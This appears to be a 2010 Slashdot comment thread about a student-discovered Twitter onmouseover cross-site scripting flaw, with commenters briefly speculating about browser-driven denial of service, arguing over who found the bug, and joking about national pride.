This is exactly the kind of scenario I envisioned last week. This kid's intent wasn't malicious, but think of what a blackhat could do with the HTML5 ping attribute, directing many thousands of twitter users all hammering a single site (and url shortening sites go down as collateral damage) to death. It could originate from any social networking site.

The ping attribute needs to be dropped or considered much more carefully.

Re:This is exactly the kind of scenario by clone53421 · 2010-09-22 08:29 · Score: 3, Insightful

think of what a blackhat could do with the HTML5 ping attribute, directing many thousands of twitter users all hammering a single site (and url shortening sites go down as collateral damage) to death. It could originate from any social networking site.
And that’s any worse than, say, sending them all to a pastebin page that will repeatedly download all the images from the target website?

--
Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
Re:This is exactly the kind of scenario by Psaakyrn · 2010-09-22 13:20 · Score: 1

Nah, drop Twitter. Much more effective.
Re:This is exactly the kind of scenario by Anonymous Coward · 2010-09-23 05:58 · Score: 0

Too bad this wasn't used in unison with the 4chan DoS of the RIAA site.

Danish newspapers claims Norwegian boy did it by FreakCERS · 2010-09-22 08:51 · Score: 2, Informative

According to this article http://translate.google.com/translate?js=n&prev=_t&hl=en&ie=UTF-8&layout=2&eotf=1&sl=da&tl=en&u=http%3A%2F%2Fpolitiken.dk%2Ftjek%2Fdigitalt%2F1065381%2Fnorsk-dreng-fik-twitter-i-knae%2F (google translated) it was a Norwegian boy who discovered the bug. Not that it really matters, I suppose...

Re:Danish newspapers claims Norwegian boy did it by Dodgy+G33za · 2010-09-22 13:24 · Score: 1

Of course it bloody well does. Aussie national pride is involved. Bloody Norwegians think they can take this one away from us they have another thing coming. *grabs beer from the fridge and pulls up a chair* . . Actually, I just noticed that the Australian is from Melbourne, so the Norwegians are welcome to it :o)

Good thing by gringer · 2010-09-22 12:08 · Score: 1

It's a good thing they just used onmouseover rather than onload. That would have been quite a chaotic mess.

--
Ask me about repetitive DNA

Slashdot Mirror

Aussie Student Responsible For Twitter Exploit

122 comments